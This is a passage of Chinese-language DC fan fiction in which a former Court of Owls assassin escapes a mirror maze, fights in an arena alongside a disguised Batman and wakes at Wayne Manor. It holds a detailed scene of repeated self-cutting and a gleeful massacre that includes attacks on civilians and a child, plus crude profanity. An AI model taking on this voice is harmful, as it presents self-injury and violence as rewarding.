“你补过牙吗？法庭会给预备利爪的臼齿里提前放置用于改造的液体琥珀金，之前因为食尸鬼住院的小施耐德的臼齿里就藏着琥珀金。” “那个孩子也是吗？”夜翼的语气逐渐平静。 “玛丽亚施耐德因为产后抑郁杀了自己的孩子，她的丈夫害怕妻子无法接受现状，就从自己负责的青柳小屋选择了一个孤儿作为自己孩子的替身，那个男孩恰好就是利爪的预备役。”索菲亚无奈摊手“我的建议是你最好把这事报告给蝙蝠侠，然后去除那颗臼齿，琥珀金是很麻烦的东西。” 夜翼沉默了片刻，重新露出笑容。 “我愿意相信你，但明天我们需要一起回哥谭向B报告这件事。” “可以。”索菲亚点头同意，但很快想起了新的事“对了你认识威廉科布吗？我原本是来调查他的身份的。” “不——” “他曾经是马戏团的成员，准确来讲迪克他是你的曾祖父。”意料之外的声音传来，索菲亚望去看到了那个花哨的身影。 “很抱歉孩子，但我们没有拒绝法庭的权利。”哈利团长说道，索菲亚立马起了戒心，不知何时起空气中弥漫而出的白雾将两人笼罩，毫无防备的夜翼倒了下去，索菲亚挣扎片刻终究还是不甘的闭上了眼睛失去了意识。 第45章 回荡在空旷空间的声音受到物体的阻挡被分割成无数块, 每句话都变得破碎无比，索菲亚挣扎着爬起来，迎面而来的就是同时倒映出好几张自己的脸的镜面。 哈利的药下了十足十的量, 差不多是在做全麻手术上一秒还在说话下一秒就会立马昏迷的量，索菲亚还好依靠体质能撑下来，但是迪克目前还只是普通人, 希望过量麻药不会人整成脑死亡。 四肢仍然使不出力气, 索菲亚四处环视，看不到夜翼黑蓝色的影子，只能看到镜面里倒映出的自己的满是灰尘和血迹的脸，脑袋上和威廉科布战斗时磕出的伤口已经结痂, 根据平日里的愈合速度判断, 大概过去了6个小时。 白色的格外冷硬的灯光让索菲亚能清晰地看到无数个镜面中每个属于自己的画面, 无数个代表着鲜血和杀戮的身影交织在一起，如同一条永远永远没有尽头的长廊，行走在其中的人以为自己窥见了全貌, 却没意识到换个视角长廊本身就是一道关押活尸的被钉死的棺材。 好在这里并非只是囚笼, 而是由无数镜面构成的迷宫, 为了让被关在其中的猎物感到疲惫和恐惧，墙面, 地板, 天花板, 肉眼可见的位置全部都是光滑的镜面。 正常的思路当然是顺着墙面爬到高处, 但是至少四五米的墙面，狭小的通道, 再加上身上除了衣服什么也没有的索菲亚, 构成了一副绝望绘图。 顺着唯一的道路向前走, 不过三分钟就走到了尽头，索菲亚敢相信自己没有看到岔路，但被困在死角的感觉实在不舒服，只能转身沿着回去的路继续寻找。 白光似乎没有之前那么刺眼显得柔和了很多，但并不意味着危机的结束，或许那群猫头鹰正站在高处看着她一次次错过出路被困死在狭小的迷宫里，又或许某个拐角处就蹲了一只猫头鹰在等待索菲亚露出破绽时进行致命一击。 这次连两分钟不到就又碰了壁，等到再回头，索菲亚将脑内走过的路线进行回忆却始终无法和眼前的景象对上号。 面前的道路熟悉又陌生，这个岔路口该走左边？刚刚是不是走过左边？那需要走右边吗？索菲亚沉思片刻选择了似乎未选择过的方向，但尽头的仍旧是只能倒映出自己的镜子，平静的嘲弄着被困之人无趣的挣扎。 索菲亚看着镜面许久，确认恢复了部分体力，一拳砸在镜面上，镜面纹丝不动。 接下来又是一拳，镜面轻微晃动但背后紧贴着墙面并不会被轻易被这点力气所撼动，但镜面中有了条细微的裂缝。 索菲亚蹲下来观察那条裂缝后有了如何识别自己是否走过某条道路从而避免重蹈覆辙，现在能够被破坏的镜面给了索菲亚想法。 索菲亚对着裂缝调整角度继续用力拳击，终于将其中一块呈不规则形状的镜面敲了下来。 通过破坏镜面确实是个办法，但麻药还没能代谢完毕盲目浪费体力实在是不明智的选择，那么通过其他方式留下标记倒不失是更好的方法。 索菲亚用手指捏着镜片，在掌心来回划过，直到细长的伤口被扩大，皮肤被破坏后鲜红的血液自然而然被挤出血管。索菲亚用左手摸过右手掌心的伤口，随即蘸着鲜血在镜面上画下自己最为熟悉的只需要一个圆圈两个三角就能构成的猫头鹰图案。 伤口处在挣扎着愈合，血液尝试结痂，还没来得及止血，索菲亚就再次划下一道做下第二个记号，接着回头沿着来路回到岔路口选择另一条没选过的道路。 第三个记号，死路。 第四个记号，死路。 第五个记号，死路。 第六个记号，死路。 第七个记号…… …… 右手手掌的伤口因为反复破坏伤口卷起泛白，再也挤不出一丝血液，接下来便是左手的手掌，手腕，手臂，只要能流出血液且不致命的部位都被索菲亚一次又一次划过。 过度失血没让索菲亚意识恍惚，反而让这位前杀手更加亢奋，铁锈味的属于自己的血液的气味在整座迷宫蔓延，索菲亚几乎能听到那份半成品药剂在血管内流动的声音，抬头望向天花板却发现视线被阻挡，索菲亚看到画面里瞳孔偏移几乎成构成重瞳的自己笑出了声，随即用带着血迹的手拽下了附着在眼球上的薄薄一层的用于掩藏身份的美瞳，将陪伴了少女杀手几乎十几年的金色瞳孔展露出来。 似乎有几滴血顺着手指流进了眼球里，粘膜被异物入侵下意识地排出生理盐水，浸湿了猫一样的眼睛。索菲亚快速眨眼，血水混杂着泪水顺着脸颊流下，在镜面里显得格外肮脏。 灯光越来越昏暗，几乎要熄灭，而眼前没有被标记过的闪着亮光的中心地区格外诱人，同时传来的水声显得更加动人。 索菲亚不知道过去了多久，只知道让少女无数个日夜所恐惧的饥饿感终于在猫头鹰怪物逃离这座迷宫前追了上来，熟悉的被胃酸所灼烧的感觉让多次认为为自己制造伤口都面不改色的少女手脚发软，喉管干涩的可怕仅仅是通过咽口水来克制食欲的方法一下子失去了功效，肠道因为得不到固定的热量在自觉蠕动。 可是，现在有水，只要喝水，水，对，喝水喝水就好了，就算没有食物，只是喝口水就好，喝下去把肠胃灌满，就跟吃饱了一样，水，就在眼前了，喝水，喝水。 索菲亚的理智几乎消失殆尽，机械的朝着水声接近，终于在力气要全部耗尽前，索菲亚看到了那座喷泉。 雕刻着猫头鹰的整体发白的石块构成了这座喷泉，源源不断地从猫头鹰的口中涌出泉水，泉水在空中划出弧度落入下方的水池之中。 索菲亚来不及思考水里有没有毒药，趴了下去如同野生动物一般将整张脸都埋在水池中大口大口地将水吸入食道，企图用出现在绝望之地的甘泉来扑灭被饥饿的烈火所灼烧的肚肠。 直到胃袋传来饱腹感，索菲亚才抬起脑袋，恢复了片刻理智，但随即而来的困顿感让少女眯着眼呆呆地对着镜子中的自己发呆。 穿着猫头鹰制服的索菲亚在镜子里同样呆呆的和境外的索菲亚对视，看到对方像是小狗一样蹲坐在地上的姿势，索菲亚才后知后觉的意识到自己原来已经蹲了下来。 镜中的索菲亚伸出手左右摆了两下，索菲亚也跟着摆手。 对方将镜片拿在手里把玩，索菲亚也照做。 镜中的索菲亚将镜片放在脖颈处划过，索菲亚也抬起了手。 不过片刻，镜中的自己消失了，再次出现的是在黑夜里被追逐的利爪，索菲亚再熟悉不过那就是自己的背影，似乎是自己将整个审判庭的信息都记在本子上刻意的留在现场的时候，只是该出现在现场的监护人没有出现，那只巨大的猫头鹰正悠哉游哉的翻着那本几乎将审判庭送上绞刑架的笔记。 “画的太难看了。”猫头鹰没有摘下面具，但嫌弃的语气里索菲亚不难想象对方的表情。 还没来得及上前摘下对方的面具，画面瞬间融化，紧接着到了新的索菲亚记忆中从未见过的画面。 在一片阴云之中，索菲亚站在监护人身边看猎魔人们掀起和审判庭的决战，狼，狐狸，天使，恶魔代表不同势力的图腾在眼前划过，但索菲亚掰着手指算了半天也没见到猫头鹰的图案。 逃出巢穴的小猫头鹰被靠谱的监护人那件长长的风衣包裹，四处转着脑袋，站在原地听了一席废话也没听到有关猫头鹰的一个字眼。 望着被大风卷起的海浪，索菲亚的意识再次恍惚。 “你以为你逃得掉吗？”似乎有人在耳边低语。 被刺痛惊醒的索菲亚看向了镜中的自己，皮肤被尖锐的棱角划破，好在及时恢复了意识，不然真的划破了喉管被作为废品回收，恐怕这辈子都没办法逃出生天。 索菲亚环顾四周，想要找到没被标记过的道路离开，只是在不知不觉间索菲亚这才意识到，面前的每一面镜子都被用鲜血画上了记号。 那是索菲亚再熟悉不过的，猫头鹰的记号。 ———————————————— 好消息，索菲亚并不是哥谭唯一一个失踪的蒙面夜游爱好者，远在布鲁德海文的夜翼也失踪了。 坏消息，蝙蝠侠也联系不上。 这种屋漏偏逢连夜雨的无助感深深席卷了斯蒂芬妮，看着蝙蝠洞里走来走去的红绿灯配色的罗宾，搅局者极力思考破局之法。 “所以蝙蝠侠是什么时候失踪的？他不是刚骂完我吗？总不能前脚骂完后脚就失踪了吧。” “不算失踪，B说有事需要调查，接着消失几个甚至几十个小时算是常事。”罗宾低着头看着蝙蝠电脑上的密密麻麻分布的文件“索菲亚呢？” “她平时懒得出门，披萨都要我帮忙带，你也知道。”斯蒂芬妮耸肩，说罢挤到了蝙蝠电脑前看着上面的文字“有消息吗？我很喜欢我的舍友，暂时还没有换舍友的打算。” “我之前做了一些调查，你有些兴趣听吗？” 搅局者没拒绝，站在原地双手环胸听罗宾接下来的话。 “几周前，斯蒂文.布兰登在夏威夷获得了冲浪比赛青少年组的冠军，在结束的致辞中他感谢了自己十年前逝世的父母，克里斯布兰登和艾米莉布兰登，但很巧合的是这两个名字就是索菲亚资料上父母的名字。很不巧的是，这对夫妻只有一个孩子，就是目前还在夏威夷的斯蒂文。” “同时，索菲亚资料里目前唯一的监护人，她的姐姐伊芙琳布兰登显示查无此人，除此之外我无法在网络上找到任何一点有关索菲亚的信息。” “但是我还是获得了一些进展，不久前施耐德的那个案子里我发现了那个男孩实际上个被收养的孤儿，在调查那个男孩的身世时我在青柳小屋的档案里看到了索菲亚的照片，照片中她的现在一模一样，没有一丝变化。” “一个神秘的能够使用魔法，多年外貌没有丝毫变化，了解各种怪物猎杀方法的女孩，在她出现后才出现在午夜的神秘猫头鹰，以及同时和猫头鹰和索菲亚组队的搅局者。你有什么想说的吗？” 罗宾蓝色的眼睛仍然盯着屏幕，没有将视线分给搅局者。 金发少女沉默片刻，最终从口中吐出一个问题。 “你知道猫头鹰法庭吗？” 第46章 蝙蝠侠开始重新着手调查猫头鹰法庭的时间远超于罗宾的预估。 在蝙蝠侠失去消息的二十四小时后, 隐藏在蝙蝠电脑内的文件自动进行了解锁编译，将导师的调查结果展现在罗宾面前。 在罗宾的报告里，猫头鹰正式出现在两个月前, 过去了不到半个月身边才出现了搅局者的身影，两人的第一次行动就是去恐吓那个被迫转学的哈里森一家。 那个时候自己和索菲亚只能算得上点头之交，最多发现了对方猎魔人的身份, 对于猫头鹰的身份……或许也不能算一无所知, 毕竟索菲亚是个隐藏能力很差的姑娘，她作为猎魔人和猫头鹰的区别只有那张能够把脸全都笼罩起来的猫头鹰面具。 而提姆自己也在第一次面对艾薇的花粉彻底失去理智，在被药物催化而出的多巴胺影响的情况下开开心心的脱掉了自己的罗宾马甲。 但显然，B对于猫头鹰的调查早到了索菲亚还未进入哥谭中学之前, 在四个月前的某一天主张对小丑判决死刑的大法官遭到暗杀。这位大法官原先也是哥谭搅屎棍法律体系的一员, 对于来源于阿卡姆的反派的犯罪行为大多都睁一只眼闭一只眼, 只要能掏出一份像样的精神疾病确诊记录，他就能自觉成为一个耳不能听，眼不能视, 口不能说的残障人士。 当然这份方便只是顺带惠及了这些可怜的无法自控犯出滔天大罪的罪犯, 真正的目的还是给盘踞在哥谭这座城市敲骨吸髓的蛀虫们提供庇护所, 例如旗下研究所涉及非法人体实验却仍能够逃脱法律制裁的鲍尔斯，多次为鲍尔斯提供进口廉价实验素材的企鹅人, 对待美色荤素不忌多次在某位好莱坞名人的邀请下踏上奥泼斯坦岛甚至想要在哥谭复刻被抓住把柄的现任市长。 居住在哥谭最寸土寸金的这些名流贵族, 任何一家只要报出姓氏提姆都能随口说出对方涉及的案件, 但真正通过法律途径能够进行处理的少之又少。 因而那位法官突然要与过去割席展现出的与小丑势不两立的铁血态度显得格外有趣, 提姆知道实际是因为小丑的疯狂终于殃及到了这些高高在上的家伙。 一场爆炸让这位法官失去了豪华的住所，以及在其中举行晚宴的所有家人, 这位自称是哥谭正义的代言人终于意识到了小丑从来不是夜半用来吓唬孩子的荒谬传说, 而自己也从高高在上的肉食者变成了别人盘中的一块三分熟的还冒着血丝的肉排。 这一切都结束了, 因为一场涉及到多人的蓄意谋杀。 这位法官生前多次声称自己被猫头鹰所监视，但大多数人认为这只不过是他失去了一切后无法接受现实产生的幻听现象。直到某个清晨，日光照射在柔软的床榻时，仆人推开门，看到的只有被鲜血染红的床铺，以及因恐惧无法闭上双眼的属于那位法官的尸体。 也是从这时起，蝙蝠侠重新拾起了关于猫头鹰的调查，那些看似毫无关系的凶杀案串联在一起织成一张密密麻麻的蜘蛛网，将整座哥谭全部笼罩，那个童年时期被推翻的猜想终于以鲜血与生命的代价重新浮上水面。 但即使如此，蝙蝠侠有关索菲亚的信息调查情况和提姆大差不差，四个月前索菲亚就像是突然出现在这个世界上一般，在此之前没有留下一点生活的痕迹。 另一个被蝙蝠侠列入调查的人就是最近风头无限的林肯马奇，与索菲亚拙劣的伪装不同，林肯的资料堪称完美，出身青柳小屋，名校毕业，随后成立金融投资公司成为哥谭新贵在大大小小的宴会展露头角，直到几个月前决定竞选哥谭市长。 至少提姆很难从这份资料里挑出问题，但是看B留下的报告，作为一个哥谭人林肯马奇更多活在传言中，想要真的找到认识林肯马奇的人，诸如他的朋友，同学，甚至连敌人却无比困难。 和索菲亚一样，林肯马奇同样是那个不存在的人。 ———————————————————— “我真的操了，夜行动物杀人公司连无辜路过的可怜雇佣兵也要抓起来关进笼子里吗？那帮****不会一会还要放点喜欢肉食身高两米的无害小动物和我们这帮倒霉蛋来点世俗不允许的禁忌之恋吧，什么劲爆精彩人*兽禁忌恋情，不会还要上演三岁五百磅宝宝进食vlog吧。” 索菲亚恢复意识的时候，眼前仍然是一阵天旋地转，耳边几乎全部不能过审的脏话合集吵得人本来就晕晕乎乎的脑袋像是额外让蝙蝠侠踹了一脚。 “闭嘴。” 说话的男声停顿了片刻，随即从那张被红黑色相间的面罩掩盖的嘴里吐出了更多话。 “哇塞，你竟然是活的吗？你现在像是在男子监狱里被*的烂七八糟的泰迪熊一样，哈喽宝贝，听得到我说话吗？听得到请扣1，听不到就听不到吧。” 索菲亚扶着脑袋爬起来，手上有点冰冷的金属质感唤回了少有的理智，索菲亚这才意识到自己被关在了笼子里。虽说不是狗笼，但是也大差不差，最多待遇从狗提到了某些不可言说剧情的单人牢房的程度。 笼子极小，勉强能塞下一个一米八壮汉，这也是少女第一次感谢自己一米六的身高让自己能够做到收放自如。 手臂上的伤口几乎全部结疤，脖子上只是被扎出个小口，不会担心和其他利爪酣畅淋漓战斗的时候脑袋会掉下来，还得一手扶着脑袋另一只手打架。 “你是谁？” “不是哥们，哦对姐们，你不认识我吗？我可是整个美国大名鼎鼎的雇佣兵丧钟的表弟，我是Dead****，操为什么说不出来，算了大概率是沟槽的迪斯尼的版权之力，你就喊我的别名死亡水池吧。” 只剩下半个身子的死亡水池瘫倒在笼子里有一搭没一搭的跟索菲亚说些废话，面具随着说话的动作也随之起伏。 “法庭为什么要抓你，只是因为劳务纠纷吗？”索菲亚歪头看着另一个笼子里的难兄难弟死亡水池先生提出了疑问。 “你知道这帮家伙手底下有一只夜行鸟类捕猎大队吧，这群僵尸鸟偏偏还难杀的要死，但是呢他们用的药剂实际上有些问题，一遇到低温就嗝屁，但凡接到西伯利亚的单子这不是就全完他爸的蛋了。所以他们就在市面上找其他有治愈能力的人，而我们伟大的雇佣兵死亡水池先生，就有幸被挑选而来，成为他们可持续竭泽而渔的掠夺对象。” “虽然我们还有金*狼，蜘蛛侠，可以选，但你知道的这几位身价高的要死，把他们请进来参演死亡水池特别大电影的花销够我付得起在纽约市中心画一个米老鼠大头之后连夜被迪斯尼起诉的赔偿金。” “你看，这帮亲爸被*过的东西连我的下半身都不记得帮我捡回来，不过没关系小猫头鹰，等我一个星期我肯定能重新把我伟岸的**长回来，然后用我在《金刚狼1》里还没毁容时的双刀切子弹带你冲出去。” “我被扔进来的时候他们说什么吗？”被一连串的长难句攻击的索菲亚半天才从嘴里挤出来自己想问的问题。 “不知道，我那会在对着这帮狗日的东西打*冲，你懂的就是为了表达我的愤怒。” 索菲亚一时之间不知道该说点什么，只能蹲在角落里默默的恢复力气，重新整理思绪。 现在距离在马戏团被迷晕过去了多久？伤口目前全部愈合，至少也得过去了四十八小时。 四十八小时，这个时间说长不长，说短也不短，要是法庭那边顺利足够用手上那点琥珀金把夜翼从罗宾鸟强行超进化成利爪。 现在索菲亚只能祈祷猫头鹰法庭都是一群仪式感大于一切的成员，最好是在先派利爪处决索菲亚，然后在自己落败后双手握拳捶地大喊为什么的时候，法庭再当着自己的面将夜翼改造成利爪，总比对方一声不吭像头自觉地老黄牛一样一边拿鞭子抽自己一边把活都干了强。 还能救，迪克坚持一下，你要相信你自己的实力啊。虽然没看过dc漫画，但是相信你一定能自己做系列漫画主角的对吗？主角光环救一下啊。 努力把死亡水池的话都当耳旁风，索菲亚在系统里确认自己攒下的能量，没有任何储蓄意识的猫头鹰一遍又一遍的清点自己手里那点能量，对着商店里可兑换的几个中级魔法，叹气。 最好用的自然是冰冻的魔法，但手上这点能量最多能换四个中级魔法，要是真的遭遇扛着夜翼被猫头鹰围殴的情况，这点伎俩远远不够看，总不能靠夜翼的屁股把前同事都弹走吧。 就在此时，微弱的被注视的感觉让索菲亚提高了警惕，环顾四周只有门口站着的几个不知道是不是还没睡醒就被拉来强行加班的带着面罩的前同事，索菲亚一无所获。 第47章 好消息, 猫头鹰法庭确实是一批注重仪式感的热爱生活的有高级趣味的该被吊死在路灯上的沟槽的资产阶级孽障。 坏消息，他们喜欢复刻古罗马斗兽场大概率要看捕获夜翼的路上顺手薅来的叛徒利爪被其他利爪处死的名场面，如果没有猜错迪克估计已经恢复了意识正要目睹自己弟弟的前女友被当众处刑的血腥画面。 这是什么古早电视剧主角目睹友人或者不重要的炮灰被杀后即将爆种反杀的经典剧情啊, 如果是电视剧索菲亚愿意放弃上天入地去猎杀怪物也要坐在电视机前端上自己要吃的午饭或者晚饭来表示对这种情结的尊重，但是如今成了即将被杀了祭天的倒霉蛋倒显得颇为新奇。 被从笼子中放出的索菲亚面对格外刺眼的灯光眯了眯眼睛，提前让系统准备好缓冲时间方便战斗时立刻发动, 台上带着白色面具不敢以真容作恶的法庭成员的眼神并非全都落在台下的索菲亚身上, 更多的还在作为同伴的彼此身上，只是偶尔才分出一个眼神给即将命丧于此的狼狈少女。 那群高高在上的法庭成员明显低估了索菲亚，甚至提供了利爪标配的双刀，但也仅限于这两柄武器了, 像是自己背包里剩下的那枚速冻手雷肯定不可能会被归还。 对面的利爪看起来工作经验算得上丰富, 虽然没办法通过对方健壮的身体判断出对方的身份, 但可以确定对面的人绝对不是林肯马奇或者威廉科布。 对方和威廉科布有一样的毛病，面对自认为手拿把掐的敌人就显得格外傲慢，比如如出一辙的刻意展现自身存在, 格外沉重的脚步, 故意将刀具与制服接触发出的刺耳摩擦声, 肉眼可见的摆足了架子才上前来。 “好久不见。”被变声器所扭曲的声音近乎失真，也不知道对方怎么觉得索菲亚能从这种离谱的声音里听出对方的身份“你的义警小男友还好吗？” “这算什么？临终关怀？”索菲亚双手持刀伴随对方的移动而移动保证自己正视着对方“实际上要是关心我的感情状态, 我和小红绿灯分手有一阵了。” “很好, 我之后会去杀了他送他下去陪你。”男人双手持刀在空中划出个格外负责的刀花冲了上来。 索菲亚反手格挡, 对方看似用了十成十的力气, 但真正接触却没有预料中被震到手腕发麻的痛感，接下来如同暴雨一般袭来的攻击虽然速度极快但并非毫无招架之力, 在还手的间隙索菲亚总是能若有若无的感觉到这不是对方完全的实力。 只依靠体格来说, 对方如果放弃长刀选择直接肉搏, 凭借接近一米九的身高和超过二百磅的体重，可以轻松的把只要将一米六左右的索菲亚压倒在地，这样的处刑过程远远比现在猫捉老鼠一样的游玩过程要更省时省力。 一种从心底油然而生的诡异的熟悉感让索菲亚几乎愣在原地，下一秒袭来的刀光就削掉了少女耳侧的一缕黑发。 “我倒不知道你什么时候成了猎人，享受被人追捧的感觉吗？以为自己走到了阳光下？你忘记法庭的教诲了吗？” 所以法庭到底教诲了什么啊，如何做哥谭新时代二十四孝好牛马吗？ 索菲亚忍住吐槽的欲望和摆烂利爪继续在场地内周旋，打了五分钟双方没掉一滴血。 “不知道你从哪里攀上了法师的关系，你以为法术救得了你吗？你以为你的那些小伎俩能一下穿过地下将我们都杀死吗？” 对方挑拨的话语格外突出，索菲亚呐喊着用刀砍去却被阻挡了下来，在近乎脸贴脸的注视下，小猫头鹰惊恐的和那双哥谭过于罕见的独一无二的钢蓝色眼睛对视了。 不是，不是，猫头鹰呢？你，不是，我，啊？ 哪来的蝙蝠啊！！给我干哪来了这还是猫头鹰法庭吗？！！ 虽然不知道蝙蝠侠是怎么混进了法庭甚至伪装成利爪也没被人发现，但终于听懂对方暗示的索菲亚向系统下达了指令。 “准备使用雷电和冰冻。” 伴随着意料之中的将隔绝看客与猎物的那层玻璃被雷电击碎的那刻，穿着猫头鹰限定皮肤的蝙蝠侠已经依靠钩爪枪飞身跃入满是猫头鹰的看台。 索菲亚背好了刀抓着利爪制服身后的披风跟着飞了起来，向前闯进了看台。 守在四周的利爪围了上来，那群畏畏缩缩的老爷夫人们一改傲慢本色推搡着从前门涌出，索菲亚紧接着发动了初级的冰冻魔法冻住了利爪，随后便尾随着人群冲了出去。 自顾自把蝙蝠侠留在身后的索菲亚无心去管其他的琐事，满脑子都是报复。 长刀砍在某个男人的后背，随后将刀拔出一脚将尖叫的某位女性踹倒在地，拿着花瓶想要袭击的学龄儿童也没逃过被前刺客拽着领子摔在了地上。 面对这些手无缚鸡之力的普通人索菲亚还能注意留手防止把人打死，但面对前同事就省心多了，不管是砍脑袋，砍手剁脚，如果不是时间有限索菲亚甚至想拔出同事的脊柱复刻某本漫画的名场面。 上吧同事，要相信我们之间的羁绊啊。 去他爸的法庭，操他二大爷的利爪，他们以为自己是什么东西，想把别人的痛苦的狼狈模样当作电视剧看就要考虑自己看的是黑色幽默喜剧还是《哥谭电锯杀人魔》，法庭成员又怎么样被砍脑袋的时候血也是热的，挂在路灯上cos晴天娃娃也没办法凭空变出手脚把自己摘下来。 愤怒吗？或许吧。 快乐吗？那是自然。 一想到未来这些人人模狗样的在名利场上觥筹交错的时候，听到猫头鹰的消息会不会吓得尿裤子，可能得哭着喊着让蝙蝠侠从疯狗手里救救自己。 疯狗？倒是不错的称呼。 索菲亚勾起嘴角，全身上下如同泡进温泉一般无比放松，每个毛孔都舒缓的呼吸，肾上腺素快速分泌连带着多巴胺也顺着神经游走，让少女几乎忘却了一切。 顺着长刀流淌而下的是我的血吗？ 索菲亚来不及思考，这种出生起几乎从未体验到的酣畅淋漓的快乐让头脑一向简单的少女完全遵循本能行动，身体随着越来越热，尤其是脑袋像是被绑上了热水袋。 “猫头鹰。”属于蝙蝠侠原本的声音格外低沉，原本严肃的警告足够索菲亚收手，可到了现在也变得无足轻重“保持清醒。” “我不要，凭什么要我清醒，明明这些家伙才活在梦里。” 索菲亚躲过蝙蝠侠迎面射出的蝙蝠镖，扬起平日绝对不会出现在少女脸上的快乐的笑容。 “反正我不管，你如果不喜欢可以把我抓起来，如果你做得到的话。” 索菲亚飞身向下层跳下，撞碎了完全不透明的玻璃，在对方诧异的眼神里沐浴着在灯光下五彩发光的玻璃碎片站了起来。 “猫头鹰来了，都躲好了吗？” 前刺客还保持着多年严苛训练得来的技巧，刚开始还能辨别普通人和利爪区别对待，但渐渐的随着意识的模糊，索菲亚实在分不出精力去做些无趣的区分工作，只是机械的攻击肉眼可见的所有人。 似乎有人在哭泣，在尖叫，在嘈杂的人声里似乎有熟悉的声音。 但是已经没有精力去区分了，就这样好了，什么都不用考虑，就这样就好了。 似乎有人在呼唤索菲亚的名字。那人是谁？ 直到看到熟悉的蓝色双眼，索菲亚终于能够停下来，卷刃的双刀落在地上，但此刻已经无心去管那双刀。 脸上的是什么？是面具吗？为什么看不清那双眼睛？ 索菲亚挣扎着摘下不知道何时戴在脸上的面具，在一片模糊里双眼终于聚焦，如愿的看到了想要的那抹蓝色。 —————————————— 报告中蝙蝠侠列出了几个地点，搅局者，罗宾，神谕加上便士一四个人足够排查，再加上约好了要来采访蝙蝠侠的不知名小记者克拉克肯特，让原本有些麻烦的任务难度骤降。 首先用氪星人的透视能力排除掉没有被铅层覆盖的建筑，即便如此坐落在废弃建筑阁楼，隐藏楼层里的大大小小的利爪据点也让人触目惊心，有些未被清理的处刑现场还残留着受害者的尸体以及凶器。罗宾一眼扫过，把几乎风干的尸体和记忆里被搁置的失踪人员一一对上号。 但这仍然不是猫头鹰法庭最重要的那个如同心脏一样的据点。 在据点中看着斑驳的血迹，罗宾内心再次默念那首童谣，刹那间知晓了问题的答案。 除去行动不便的神谕和便士一，真正能进入据点的只有罗宾，搅局者和超人。 在超人几乎满级账号平推副本的威压下，罗宾获得了更多时间来和导师取得联系，重新接通频道的蝙蝠侠几乎没空多说一句话只是报出一个位置让罗宾前去。 带着疑惑的罗宾只能先和搅局者分道扬镳，独自前往那个陌生的坐标。 走廊两边倒着不同程度受伤的脸上还带着统一白色猫头鹰面具的人，但可以判断出都是由长刀制造出的伤口。 罗宾躯壳下的提姆的内心莫名开始紧张，即使面对身高高于自己数倍的贝恩提姆也从未感到恐惧，可是现在面对自己再熟悉不过的刀伤，少年几乎不愿意相信那个自己刻意回避的结果。 如果索菲亚真的走到了那一步，如果真的到了那一步。 少年深吸一口气做出了选择。 我会亲手抓住她，她该为自己的行为赎罪。 罗宾加速了前进的步伐，终于遇到了熟悉的背影，超过一星期没有见面，但提姆还是轻而易举认出了朋友的背影。 带着另一种属于利爪的猫头鹰面具的人转过了身体，片刻的平静后罗宾握紧了手中的长棍，索菲亚受过训练严格意义来讲自己目前不是对手，但只要能拖住她，一切就还有转机。 预料之中的攻击并没有出现，少女手中的长刀摔落在地上发出清脆的碰撞声，猫头鹰挣扎着将面具从脑袋上扯下，黑色的中短发顺势滑下，以及那双几乎失去焦距的金色双眼。 下一刻索菲亚瘫坐在地上，提姆顾不上其他上前扶住了少女瘫软的身体。 面对失去意识后脱力的索菲亚，作为罗宾自己无比清醒自己要确认对方状态是否有害，检查对方的伤势并包扎，要通知同伴…… 可是此刻，作为提摩西德雷克，他只想拥抱自己失而复得的朋友，即便只有此刻。 第48章 众所周知, 普通人类的身体在经历长时间过量运动后为了补充体力会进入超长待机模式来恢复消耗的体力的和精力，比如长久不运动的打工人突然被带着面具的猫头鹰杀手激情追杀三天且期间除了水什么都没摄入的话，在突然面对安全环境也会“嘎嘣”一下进入梦乡, 当然也可以理解为，强行关机。 因此当索菲亚面对窗帘缝隙里透出的过于刺眼的阳光，挣扎着睁开了眼睛, 面对着异常陌生的天花板的第一反应只有。 “蝙蝠侠是趁我昏迷叫义警群殴我了吗？这里就是天堂吗？” 第二反应自然是颤颤巍巍的从过分柔软的床上爬起来, 确认自己穿的像个人之后推开陌生的房门，进入陌生的走廊闻着饭菜的香气摸到了餐厅，对着几乎堆成山的食物平静的拉开椅子坐了下来。 第二件热知识，大多数人是有一定承受饥饿的能力, 比如说当你一觉睡醒发现已经接近中午, 这个时候往往不会太饿, 但是当凌晨两点的时候饥饿感会达到顶峰，想要吃东西的欲望不断在脑中划过，这也是最容易会点外卖的时间节点, 但是只要熬过了这段时间, 大脑反而会自我催眠告诉你其实不饿, 饥饿感也会随之消失。 索菲亚此刻就面临了这种情况，面前的土豆烩牛肉焗饭, 七分熟牛排配意面加煎蛋, 烤羊排都显得过分诱人了, 但是被强制开机的少女需要静置一段时间才能让大脑回忆这具身体已经饿的马上要退出生物圈了, 两分钟后索菲亚才重新从大脑里翻出了被压制已久的强烈食欲。 完全分不出精力全看周围的环境，索菲亚恨不得将整张脸都埋进盘子里, 被巨量脂肪和糖分所填充的快乐让索菲亚紧绷的精神完全放松, 一片风卷残云后的进食后索菲亚几乎连盘子都恨不得舔的锃亮。 “或许您有记得为点心留些位置？提姆少爷说过你很喜欢曲奇, 我稍微做了一些，或许能为这一餐画上完美的句号。” 过于典型的带着英伦口音的男声在耳边响起，随后索菲亚见过的那位曾经来学校接提姆回家的和蔼管家正将盛放着冒着热气的散发出黄油和牛奶香甜味道的曲奇摆在了索菲亚面前。 “谢谢你阿福。”索菲亚扭过头看着因为食物光环显得格外慈祥的阿福，金色的眼睛缓慢的眨巴着，将这张青涩的脸庞显得格外无害。 现在所处的位置这一问题自然而然地得到了解答，至少这顿出自将哥谭名流圈最娇贵的小王子布鲁斯韦恩一手养大的管家阿尔弗雷德之手的过于完美的午，呃，晚饭，嗯，下午茶就能够展现出索菲亚目前所处的位置只有可能是韦恩大宅。 接过作为点心搭配的热可可，面对升起的热气，索菲亚对着马克杯口吹了好几口气才敢小心翼翼地喝上一小口。阿福来收走了餐盘将其处理完毕后送进了洗碗机里，机械的运转声夹杂着流水的响声，索菲亚这才抽空环顾四周。 覆盖在地面的花纹复杂的地毯，虽然看不出来具体的名堂，但光是肉眼可见的延伸出去的地毯面积，就能知道日常维护一定需要大力气。索菲亚的小公寓的卧室里就摆着一块一米长的地毯，不过两个月就沾满了灰尘和头发，在常规手段完全失效的情况下，索菲亚只能撅着屁股趴在地上一点一点清理干净。 墙纸选用的都是些简单的色调，也是些老钱会喜欢的风格，比起索菲亚见过的那些严肃刻板的永远保持完美的墙纸，放置在餐厅的墙纸上还留着些稚嫩圆润的笔迹，其中用铅笔留下的刻痕位置一直在变化，直到停留在一米七的位置。 长长的几乎望不到头的餐桌上摆了些鲜花，但那张实木定制的肃穆餐桌上根据座位的不同还留着不同痕迹的涂鸦，几乎能和墙纸上的笔迹相互对应。 